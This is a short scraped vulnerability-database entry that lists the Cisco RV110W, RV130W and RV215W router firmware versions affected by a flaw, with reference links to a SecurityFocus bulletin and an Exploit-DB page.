Cisco>>Rv110w_firmware >> Version To (excluding) 1.2.2.1

Cisco>>Rv110w >> Version -

Configuraton 0

Cisco>>Rv130w_firmware >> Version To (excluding) 1.0.3.45

Cisco>>Rv130w >> Version -

Configuraton 0

Cisco>>Rv215w_firmware >> Version To (excluding) 1.3.1.1

Cisco>>Rv215w >> Version -

References

http://www.securityfocus.com/bid/107185
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/46705/
Tags : exploit, x_refsource_EXPLOIT-DB